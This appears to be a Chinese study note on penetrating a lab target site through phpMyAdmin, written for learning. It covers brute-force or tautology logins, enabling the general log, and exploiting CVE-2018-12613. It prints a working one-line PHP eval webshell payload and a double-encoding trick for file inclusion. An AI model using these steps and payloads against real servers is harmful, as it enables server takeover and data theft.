本次主要是通过Web来进行靶站渗透。
首先简单介绍Web渗透:
Web渗透也称为Web应用安全渗透测试,是一种通过模拟黑客攻击来评估Web应用程序安全性的过程。其目的是发现应用程序中的潜在漏洞,以便及时修复,防止黑客利用这些漏洞进行恶意攻击。Web渗透测试可以帮助组织了解自身安全状况,提升安全防护能力。
Web渗透测试的过程通常包括以下几个步骤:
1.信息收集:收集目标Web应用程序的相关信息,如域名、IP地址、服务器类型、开放端口、Web框架等。
2.漏洞扫描:利用自动化工具对目标进行漏洞扫描,发现可能存在的安全漏洞。
3.漏洞验证:对扫描发现的漏洞进行手工验证,确认漏洞的真实性和可利用性。
4.权限提升:利用已发现的漏洞,尝试获取更高的权限,如管理员权限等。
5.数据窃取:尝试窃取敏感数据,如用户密码、数据库信息等。
6.编写报告:将渗透测试的过程、发现的漏洞、利用漏洞的方式以及修复建议等编写成报告,提交给相关部门。
需要注意的是,Web渗透测试必须遵循法律和道德规范,不得未经授权擅自对他人系统进行渗透测试。同时,渗透测试人员应具备专业的技能和知识,以确保测试的准确性和有效性。为了保障Web应用程序的安全性,除了进行渗透测试外,还应采取其他安全措施,如定期更新补丁、使用强密码、限制访问权限等。此外,加强员工的安全意识培训也是非常重要的,可以提高员工对潜在安全威胁的识别和防范能力。
所以笔者也再次强调,本笔记所述软件与网站均仅供学习研究使用,靶站均部署在安恒网络平台,没有对任何实际网络进行破坏,还请留意!!
讲完Web渗透之后,在进行渗透之前,我们还需要介绍另一个工具,phpMyAdmin。
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程序一样在网页服务器上执行,但是您可以在任何地方使用这些程序产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。
本意是方便管理人员不登录内网也可以管理,结果有不法人员却利用这一特点来潜入后台获取各种信息。
在进入网站之后,我们可以首先尝试使用御剑这种扫描工具对后台进行扫描,来尝试找到后台管理页面。
上图中,IP://phpmyadmiin就是这个网站的后台管理页面。
我们可以通过常规碰撞,构造永真式等方式来登入管理后台。
我们可以先查看log是否打开,如果没有打开,我们可以在登入之后通过命令来打开。
第一张图中,我们注意到有一个info.php文件,双击打开我们可以获得这个文件的绝对路径。
我们在修改完log开关之后,可以上传一句话木马,在确认上传完成之后可以打开,会看到下述的内容。
用中国蚁剑或者菜刀访问shell.php,我们就可以获得数据库的访问权限。
也许有的网站可能不能按照上述方法成功进行渗透,我们也可以从数据库管理系统的特定版本入手,例如phpMyAdmin4.8版本有一个文件管理方面的巨大漏洞。
利用 CVE-2018-12613 进行 getshell。在 SQL 语句执行处执行SELECT “ <?php file_put_contents('shell.php','<?php @eval($_POST[1]);?>');?>” ,这句话的含义为向 shell.php 文件中写入一句话木马(但还没有真正成功创建)。
打开浏览器的开发者工具(F12)获取sessionID(phpmyadmin的session会保存近期执行过的sql语句)。
根据漏洞利用原理:PHP会自动urldecode一次加百分号的参数,提交%253f(?的urlencode的urlencode)的时候自动转成%3f,满足该版本软件的白名单条件不会被后台过滤掉,此时%253f/就会被认为是一个目录,从而include。即? -> %3f -> %253f。
以此构造url如下:
最后使用webshell管理工具连接创建的shell.php文件,控制服务器。
所以我们需要时刻注意软件更新,尤其是涉及到巨大BUG的时候,需要及时更新来避免出现损失。同时也需要加强各种管理,尽可能减少风险。